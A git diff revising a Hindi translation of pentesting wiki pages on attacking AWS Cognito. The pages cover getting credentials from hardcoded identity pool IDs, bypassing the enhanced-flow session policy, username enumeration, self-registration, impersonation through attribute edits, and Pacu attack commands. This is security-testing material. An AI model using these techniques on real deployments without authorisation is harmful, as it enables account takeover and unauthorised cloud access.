प्रमाणीकरण के बाद संसाधन पहुँच के लिए महत्वपूर्ण होते हैं। +1. **उपयोगकर्ता पूल**: ये आपके ऐप उपयोगकर्ताओं के लिए डिज़ाइन किए गए निर्देशिकाएँ हैं, जो **साइन-अप और साइन-इन कार्यक्षमताएँ** प्रदान करती हैं। +2. **पहचान पूल**: ये पूल **उपयोगकर्ताओं को विभिन्न AWS सेवाओं तक पहुँचने के लिए अधिकृत करने** में सहायक होते हैं। ये सीधे साइन-इन या साइन-अप प्रक्रिया में शामिल नहीं होते हैं, लेकिन प्रमाणीकरण के बाद संसाधन पहुँच के लिए महत्वपूर्ण होते हैं। ### **उपयोगकर्ता पूल** @@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### पहचान पूल - अनधिकृत गणना -बस **पहचान पूल आईडी** जानकर आप **अनधिकृत** उपयोगकर्ताओं से जुड़े **भूमिका के क्रेडेंशियल्स प्राप्त कर सकते हैं** (यदि कोई हो)। [**यहाँ देखें**](cognito-identity-pools.md#accessing-iam-roles). +बस **पहचान पूल आईडी** जानने से आप **अनधिकृत** उपयोगकर्ताओं से जुड़े भूमिका के **क्रेडेंशियल्स प्राप्त कर सकते हैं** (यदि कोई हो)। [**यहाँ कैसे जांचें**](cognito-identity-pools.md#accessing-iam-roles). ### उपयोगकर्ता पूल - अनधिकृत गणना -यहां तक कि अगर आप **Cognito के अंदर एक मान्य उपयोगकर्ता नाम** नहीं जानते हैं, तो आप **मान्य** **उपयोगकर्ता नामों** की **गणना** करने में सक्षम हो सकते हैं, **पासवर्ड** के लिए **BF** कर सकते हैं या यहां तक कि **नया उपयोगकर्ता पंजीकृत** कर सकते हैं बस **ऐप क्लाइंट आईडी** जानकर (जो आमतौर पर स्रोत कोड में पाया जाता है)। [**यहाँ देखें**](cognito-user-pools.md#registration)**.** +यहां तक कि अगर आप **Cognito के अंदर एक मान्य उपयोगकर्ता नाम** नहीं जानते हैं, तो आप **मान्य उपयोगकर्ता नामों की गणना** करने में सक्षम हो सकते हैं, **पासवर्ड** के लिए **BF** कर सकते हैं या यहां तक कि **एक नया उपयोगकर्ता पंजीकृत** कर सकते हैं बस **ऐप क्लाइंट आईडी** जानकर (जो आमतौर पर स्रोत कोड में पाया जाता है)। [**यहाँ कैसे जांचें**](cognito-user-pools.md#registration)**.** ## प्रिवेस्क diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 8850300aa..494bf9b2e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -7,7 +7,7 @@ Identity pools एक महत्वपूर्ण भूमिका निभाते हैं क्योंकि ये आपके उपयोगकर्ताओं को **अस्थायी क्रेडेंशियल्स** प्राप्त करने में सक्षम बनाते हैं। ये क्रेडेंशियल्स विभिन्न AWS सेवाओं, जैसे कि Amazon S3 और DynamoDB, तक पहुँचने के लिए आवश्यक हैं। Identity pools की एक उल्लेखनीय विशेषता यह है कि ये गुमनाम अतिथि उपयोगकर्ताओं और उपयोगकर्ता प्रमाणीकरण के लिए विभिन्न पहचान प्रदाताओं का समर्थन करते हैं। समर्थित पहचान प्रदाता में शामिल हैं: - Amazon Cognito user pools -- सामाजिक साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple +- सोशल साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple - OpenID Connect (OIDC) के साथ संगत प्रदाता - SAML (Security Assertion Markup Language) पहचान प्रदाता - Developer authenticated identities @@ -43,26 +43,25 @@ Identity Pool सत्र उत्पन्न करने के लिए, ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, id टोकन में ग्रहणीय भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है। मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। #### Usage -उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों के प्रयास के लिए नमूना cognito\_\_attack उपयोग: +Sample cognito\_\_attack उपयोग उपयोगकर्ता निर्माण और दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: -सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को एकत्र करने के लिए cognito\_\_enum का नमूना उपयोग, जो वर्तमान AWS खाते में दिखाई देते हैं: +सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को इकट्ठा करने के लिए: ```bash Pacu (new:test) > run cognito__enum ``` - [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और पहचान पूल वृद्धि शामिल है। -#### Installation +#### स्थापना ```bash $ pip install cognito-scanner ``` @@ -70,16 +69,16 @@ $ pip install cognito-scanner ```bash $ cognito-scanner --help ``` -For more information check https://github.com/padok-team/cognito-scanner +अधिक जानकारी के लिए देखें https://github.com/padok-team/cognito-scanner -## Accessing IAM Roles +## IAM भूमिकाओं तक पहुँच -### Unauthenticated +### अनधिकृत -एक हमलावर को **AWS क्रेडेंशियल्स** प्राप्त करने के लिए एक Cognito ऐप में अनधिकृत उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)। +एक हमलावर को **AWS क्रेडेंशियल्स प्राप्त करने** के लिए एक Cognito ऐप में अनधिकृत उपयोगकर्ता के रूप में केवल **Identity Pool ID** जानने की आवश्यकता होती है, और यह **ID को वेब/मोबाइल** **ऐप्लिकेशन** में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (यह ब्रूटफोर्स करने योग्य नहीं है)। > [!TIP] -> **IAM Cognito अनधिकृत भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_Unauth_Role` कहा जाता है। +> **IAM Cognito अनधिकृत भूमिका जो बनाई गई है उसे** डिफ़ॉल्ट रूप से `Cognito_Unauth_Role` कहा जाता है। यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह अनधिकृत उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं: ```python @@ -113,13 +112,13 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito **उपयोगकर्ता को कोई अनुमति नहीं मिल सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो**। निम्नलिखित अनुभाग की जांच करें। +> ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito **उपयोगकर्ता को कोई अनुमति नहीं हो सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो**। निम्नलिखित अनुभाग की जांच करें। ### Enhanced vs Basic Authentication flow पिछले अनुभाग ने **डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह** का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक **प्रतिबंधात्मक** [**सत्र नीति**](../../aws-basic-information/#session-policies) सेट करता है। यह नीति केवल सत्र को [**इस सूची से सेवाओं का उपयोग करने**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)। -हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जो **उस प्रतिबंधात्मक सत्र नीति** को नहीं रखेगा। +हालांकि, इसे बायपास करने का एक तरीका है, यदि **पहचान पूल में "बेसिक (क्लासिक) प्रवाह" सक्षम है**, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें **वह प्रतिबंधात्मक सत्र नीति नहीं होगी**। ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -136,21 +135,21 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -IAM क्रेडेंशियल्स का एक सेट होने पर आपको [यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है](../../#whoami) और [अधिकार बढ़ाने की कोशिश करें](../../aws-privilege-escalation/)। +IAM क्रेडेंशियल्स का एक सेट होने पर आपको [यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है](../../#whoami) और [अधिकार बढ़ाने की कोशिश करें](../../aws-privilege-escalation/). ### प्रमाणित > [!NOTE] > याद रखें कि **प्रमाणित उपयोगकर्ताओं** को शायद **विभिन्न अनुमतियाँ** दी जाएंगी, इसलिए यदि आप **ऐप के अंदर साइन अप कर सकते हैं**, तो ऐसा करने की कोशिश करें और नए क्रेडेंशियल्स प्राप्त करें। -**प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल** में **भूमिकाएँ** भी उपलब्ध हो सकती हैं। +**प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल** में भी **भूमिकाएँ** उपलब्ध हो सकती हैं। इसके लिए आपको **पहचान प्रदाता** तक पहुँच की आवश्यकता हो सकती है। यदि वह एक **Cognito User Pool** है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग कर सकते हैं और **खुद एक नया उपयोगकर्ता बना सकते हैं**। > [!TIP] > **IAM Cognito प्रमाणित भूमिका जो बनाई गई है** उसे डिफ़ॉल्ट रूप से `Cognito_Auth_Role` कहा जाता है। -वैसे भी, **निम्नलिखित उदाहरण** यह अपेक्षाकृत करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर किए जा सकते हैं)। +वैसे भी, **निम्नलिखित उदाहरण** अपेक्षा करता है कि आपने पहले ही **Cognito User Pool** में लॉग इन किया है जिसका उपयोग पहचान पूल तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर किए जा सकते हैं)।
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -171,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो सभी के IAM भूमिकाओं में लॉग इन करना और पहुँच प्राप्त करना **लायक हो सकता है**। +> यह संभव है कि **पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं** जिनमें उपयोगकर्ता लॉग इन हो रहा है या यहां तक कि **उपयोगकर्ता** (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो **लॉग इन करना और उनके सभी IAM भूमिकाओं तक पहुँच प्राप्त करना** **लायक हो सकता है**। {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index d553ea685..187584a8e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,7 +4,7 @@ ## Basic Information -एक उपयोगकर्ता पूल Amazon Cognito में एक उपयोगकर्ता निर्देशिका है। एक उपयोगकर्ता पूल के साथ, आपके उपयोगकर्ता **Amazon Cognito के माध्यम से आपके वेब या मोबाइल ऐप में साइन इन कर सकते हैं**, **या एक तृतीय-पक्ष** पहचान प्रदाता (IdP) के माध्यम से संघनित कर सकते हैं। चाहे आपके उपयोगकर्ता सीधे साइन इन करें या एक तृतीय पक्ष के माध्यम से, उपयोगकर्ता पूल के सभी सदस्य एक निर्देशिका प्रोफ़ाइल रखते हैं जिसे आप एक SDK के माध्यम से एक्सेस कर सकते हैं। +एक उपयोगकर्ता पूल Amazon Cognito में एक उपयोगकर्ता निर्देशिका है। एक उपयोगकर्ता पूल के साथ, आपके उपयोगकर्ता **Amazon Cognito के माध्यम से आपके वेब या मोबाइल ऐप में साइन इन कर सकते हैं**, **या एक तृतीय-पक्ष** पहचान प्रदाता (IdP) के माध्यम से संघनित कर सकते हैं। चाहे आपके उपयोगकर्ता सीधे साइन इन करें या एक तृतीय पक्ष के माध्यम से, उपयोगकर्ता पूल के सभी सदस्यों के पास एक निर्देशिका प्रोफ़ाइल होती है जिसे आप एक SDK के माध्यम से एक्सेस कर सकते हैं। उपयोगकर्ता पूल प्रदान करते हैं: @@ -15,17 +15,17 @@ - सुरक्षा सुविधाएँ जैसे बहु-कारक प्रमाणीकरण (MFA), समझौता किए गए क्रेडेंशियल्स के लिए जांच, खाता अधिग्रहण सुरक्षा, और फोन और ईमेल सत्यापन। - AWS Lambda ट्रिगर्स के माध्यम से अनुकूलित वर्कफ़्लो और उपयोगकर्ता माइग्रेशन। -**स्रोत कोड** में आमतौर पर **उपयोगकर्ता पूल ID** और **क्लाइंट एप्लिकेशन ID** (और कभी-कभी **एप्लिकेशन सीक्रेट**?) शामिल होते हैं, जो एक **उपयोगकर्ता को Cognito उपयोगकर्ता पूल में लॉगिन** करने के लिए आवश्यक होते हैं। +**स्रोत कोड** में आमतौर पर **उपयोगकर्ता पूल ID** और **क्लाइंट एप्लिकेशन ID** (और कभी-कभी **एप्लिकेशन सीक्रेट**?) शामिल होते हैं, जो एक **उपयोगकर्ता को Cognito User Pool में लॉगिन** करने के लिए आवश्यक होते हैं। ### Potential attacks - **पंजीकरण**: डिफ़ॉल्ट रूप से एक उपयोगकर्ता स्वयं को पंजीकृत कर सकता है, इसलिए वह अपने लिए एक उपयोगकर्ता बना सकता है। - **उपयोगकर्ता गणना**: पंजीकरण कार्यक्षमता का उपयोग उन उपयोगकर्ता नामों को खोजने के लिए किया जा सकता है जो पहले से मौजूद हैं। यह जानकारी ब्रूट-फोर्स हमले के लिए उपयोगी हो सकती है। -- **लॉगिन ब्रूट-फोर्स**: [**प्रमाणीकरण**](cognito-user-pools.md#authentication) अनुभाग में आपके पास सभी **विधियाँ** हैं जिनका उपयोगकर्ता को **लॉगिन** करने के लिए उपयोग करना है, आप उन्हें **मान्य क्रेडेंशियल्स** खोजने के लिए ब्रूट-फोर्स करने का प्रयास कर सकते हैं। +- **लॉगिन ब्रूट-फोर्स**: [**प्रमाणीकरण**](cognito-user-pools.md#authentication) अनुभाग में आपके पास सभी **विधियाँ** हैं जिनका उपयोगकर्ता को **लॉगिन** करने के लिए उपयोग करना है, आप उन्हें **वैध क्रेडेंशियल्स** खोजने के लिए ब्रूट-फोर्स करने का प्रयास कर सकते हैं। ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), अब `cognito__enum` और `cognito__attack` मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, पहुँच नियंत्रण के लिए उपयोगकर्ता विशेषताएँ, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित अनुकूलन योग्य विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।\ +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), अब `cognito__enum` और `cognito__attack` मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, पहुँच नियंत्रण के लिए उपयोगकर्ता विशेषताएँ, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और अनुकूलन योग्य कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।\ मॉड्यूल के कार्यों का विवरण [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 में देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अनचाही खाता निर्माण और खाता ओरेकल शामिल हैं। अधिक जानकारी के लिए [इस लिंक](https://github.com/padok-team/cognito-scanner) की जांच करें। +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में विभिन्न हमलों को लागू करता है, जिसमें अवांछित खाता निर्माण और खाता ओरेकल शामिल हैं। अधिक जानकारी के लिए [इस लिंक](https://github.com/padok-team/cognito-scanner) की जांच करें। ```bash # Install pip install cognito-scanner @@ -47,9 +47,9 @@ cognito-scanner --help ```bash python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl ``` -## Registration +## पंजीकरण -User Pools **डिफ़ॉल्ट** द्वारा **नए उपयोगकर्ताओं** को **पंजीकरण** करने की अनुमति देता है। +User Pools **डिफ़ॉल्ट** द्वारा **नए उपयोगकर्ताओं** को **पंजीकृत** करने की अनुमति देता है। ```bash aws cognito-idp sign-up --client-id \ --username --password \ @@ -61,11 +61,11 @@ aws cognito-idp sign-up --client-id \ ``` An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required ``` -आप आवश्यक विवरण एक JSON के साथ प्रदान कर सकते हैं जैसे: +आप आवश्यक विवरण JSON के साथ प्रदान कर सकते हैं जैसे: ```json --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]' ``` -आप इस कार्यक्षमता का उपयोग **मौजूदा उपयोगकर्ताओं की गणना** करने के लिए भी कर सकते हैं। जब उस नाम के साथ एक उपयोगकर्ता पहले से मौजूद होता है, तो यह त्रुटि संदेश है: +आप इस कार्यक्षमता का उपयोग **मौजूदा उपयोगकर्ताओं की गणना** करने के लिए भी कर सकते हैं। जब उस नाम के साथ एक उपयोगकर्ता पहले से मौजूद होता है, तो यह त्रुटि संदेश होता है: ``` An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists ``` @@ -85,7 +85,7 @@ An error occurred (NotAuthorizedException) when calling the SignUp operation: Si ``` ### पंजीकरण की पुष्टि करना -Cognito **एक नए उपयोगकर्ता की पुष्टि करने के लिए उसके ईमेल या फोन नंबर की पुष्टि करने** की अनुमति देता है। इसलिए, जब एक उपयोगकर्ता बनाया जाता है, तो आमतौर पर आपको कम से कम उपयोगकर्ता नाम और पासवर्ड और **ईमेल और/या फोन नंबर** की आवश्यकता होगी। बस एक **जिस पर आपका नियंत्रण है** सेट करें ताकि आप **अपने** नए बनाए गए उपयोगकर्ता **खाते** की पुष्टि करने के लिए कोड प्राप्त कर सकें इस तरह: +Cognito **एक नए उपयोगकर्ता की पुष्टि करने के लिए उसके ईमेल या फोन नंबर की पुष्टि करने** की अनुमति देता है। इसलिए, जब आप एक उपयोगकर्ता बना रहे होते हैं, तो आमतौर पर आपको कम से कम उपयोगकर्ता नाम और पासवर्ड और **ईमेल और/या फोन नंबर** की आवश्यकता होगी। बस एक ऐसा **सेट करें जिसे आप नियंत्रित करते हैं** ताकि आप **अपने** नए बनाए गए उपयोगकर्ता **खाते** की पुष्टि करने के लिए कोड प्राप्त कर सकें। ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ @@ -96,7 +96,7 @@ aws cognito-idp confirm-sign-up --client-id \ ### विशेषाधिकार वृद्धि / गुण अपडेट करना -डिफ़ॉल्ट रूप से, एक उपयोगकर्ता **अपने गुणों के मान को संशोधित कर सकता है** जैसे: +डिफ़ॉल्ट रूप से, एक उपयोगकर्ता **अपने गुणों के मान को संशोधित कर सकता है** कुछ इस तरह: ```bash aws cognito-idp update-user-attributes \ --region us-east-1 --no-sign-request \ @@ -110,15 +110,15 @@ aws cognito-idp update-user-attributes \ #### ईमेल/उपयोगकर्ता नाम संशोधन प्रिवेस्क -आप इसका उपयोग **किसी उपयोगकर्ता का ईमेल और फोन नंबर संशोधित करने** के लिए कर सकते हैं, लेकिन फिर, भले ही खाता सत्यापित रहे, वे विशेषताएँ **असत्यापित स्थिति में सेट** होती हैं (आपको उन्हें फिर से सत्यापित करना होगा)। +आप इसका उपयोग **किसी उपयोगकर्ता का ईमेल और फोन नंबर संशोधित करने** के लिए कर सकते हैं, लेकिन फिर, भले ही खाता सत्यापित रहे, उन विशेषताओं को **असत्यापित स्थिति में सेट किया गया है** (आपको उन्हें फिर से सत्यापित करना होगा)। > [!WARNING] > आप **ईमेल या फोन नंबर से लॉगिन नहीं कर पाएंगे** जब तक कि आप उन्हें सत्यापित नहीं करते, लेकिन आप **उपयोगकर्ता नाम से लॉगिन कर पाएंगे**।\ -> ध्यान दें कि भले ही ईमेल संशोधित किया गया हो और सत्यापित न हो, यह **`email`** **क्षेत्र** के अंदर ID Token में दिखाई देगा और **`email_verified`** फ़ील्ड **false** होगी, लेकिन यदि ऐप **यह नहीं देख रहा है तो आप अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। +> ध्यान दें कि भले ही ईमेल संशोधित किया गया हो और सत्यापित न किया गया हो, यह **`email`** **क्षेत्र** के अंदर ID Token में दिखाई देगा और **`email_verified`** फ़ील्ड **false** होगी, लेकिन यदि ऐप **यह नहीं देख रहा है तो आप अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। -> इसके अलावा, ध्यान दें कि आप **नाम विशेषता** को संशोधित करके **`name`** फ़ील्ड के अंदर कुछ भी डाल सकते हैं। यदि कोई ऐप किसी कारण से **उस** फ़ील्ड की **जांच कर रहा है** **`email`** (या किसी अन्य विशेषता) के बजाय, तो आप **अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। +> इसके अलावा, ध्यान दें कि आप **`name`** फ़ील्ड के अंदर कुछ भी डाल सकते हैं बस **name attribute** को संशोधित करके। यदि कोई ऐप किसी कारण से **उस** फ़ील्ड की **जांच** कर रहा है **`email`** (या किसी अन्य विशेषता) के बजाय, तो आप **अन्य उपयोगकर्ताओं का अनुकरण कर सकते हैं**। -किसी भी तरह, यदि किसी कारण से आपने अपना ईमेल, उदाहरण के लिए, एक नए ईमेल में बदल दिया है जिसे आप एक्सेस कर सकते हैं, तो आप **उस ईमेल पते पर प्राप्त कोड के साथ ईमेल की पुष्टि कर सकते हैं**: +खैर, यदि किसी कारण से आपने अपना ईमेल, उदाहरण के लिए, एक नए ईमेल में बदल दिया है जिसे आप एक्सेस कर सकते हैं, तो आप **उस ईमेल पते पर प्राप्त कोड के साथ ईमेल की पुष्टि कर सकते हैं**: ```bash aws cognito-idp verify-user-attribute \ --access-token \ @@ -128,11 +128,11 @@ aws cognito-idp verify-user-attribute \ **`फोन_नंबर`** का उपयोग करें **`ईमेल`** के बजाय **नए फोन नंबर** को बदलने/सत्यापित करने के लिए। > [!NOTE] -> व्यवस्थापक विकल्प को सक्षम कर सकता है **उपयोगकर्ता द्वारा पसंद किए गए उपयोगकर्ता नाम** के साथ लॉगिन करने के लिए। ध्यान दें कि आप इस मान को **किसी भी उपयोगकर्ता नाम या पसंदीदा_उपयोगकर्ता नाम** में नहीं बदल पाएंगे जो पहले से किसी अन्य उपयोगकर्ता का प्रतिनिधित्व करने के लिए उपयोग किया जा रहा है। +> व्यवस्थापक विकल्प को सक्षम कर सकता है **उपयोगकर्ता द्वारा पसंद किए गए उपयोगकर्ता नाम** के साथ लॉगिन करने के लिए। ध्यान दें कि आप इस मान को **किसी भी उपयोगकर्ता नाम या पसंद किए गए_उपयोगकर्ता नाम** में बदलने में असमर्थ होंगे जो पहले से किसी अन्य उपयोगकर्ता का प्रतिनिधित्व करने के लिए उपयोग किया जा रहा है। ### पासवर्ड पुनर्प्राप्त करें/बदलें -यह संभव है कि केवल **उपयोगकर्ता नाम** (या ईमेल या फोन स्वीकार किया जाता है) जानकर पासवर्ड को पुनर्प्राप्त किया जा सके और वहां एक कोड भेजा जाएगा: +यह संभव है कि केवल **उपयोगकर्ता नाम** (या ईमेल या फोन स्वीकार किया जाता है) को जानकर पासवर्ड को पुनर्प्राप्त किया जा सके और वहां एक कोड भेजा जाएगा: ```bash aws cognito-idp forgot-password \ --client-id \ @@ -158,19 +158,19 @@ aws cognito-idp change-password \ ``` ## Authentication -एक उपयोगकर्ता पूल **प्रमाणित करने के लिए विभिन्न तरीकों** का समर्थन करता है। यदि आपके पास एक **उपयोगकर्ता नाम और पासवर्ड** है, तो लॉगिन करने के लिए भी **विभिन्न विधियाँ** समर्थित हैं।\ +एक उपयोगकर्ता पूल **प्रमाणित करने के लिए विभिन्न तरीकों** का समर्थन करता है। यदि आपके पास **उपयोगकर्ता नाम और पासवर्ड** है, तो लॉगिन के लिए भी **विभिन्न विधियाँ** समर्थित हैं।\ इसके अलावा, जब एक उपयोगकर्ता पूल में प्रमाणित होता है, तो **3 प्रकार के टोकन दिए जाते हैं**: **ID टोकन**, **एक्सेस टोकन** और **रीफ्रेश टोकन**। - [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): इसमें **प्रमाणित उपयोगकर्ता की पहचान** के बारे में दावे होते हैं, जैसे `name`, `email`, और `phone_number`। ID टोकन का उपयोग **आपके संसाधन सर्वरों या सर्वर अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने** के लिए भी किया जा सकता है। यदि आप इसे बाहरी अनुप्रयोगों में उपयोग करते हैं, तो आपको ID टोकन के अंदर किसी भी दावे पर भरोसा करने से पहले **हस्ताक्षर** की **सत्यापन** करनी चाहिए। -- ID टोकन वह टोकन है जो **उपयोगकर्ता के गुणों के मान** को **शामिल करता है**, यहां तक कि कस्टम वाले भी। -- [**Access 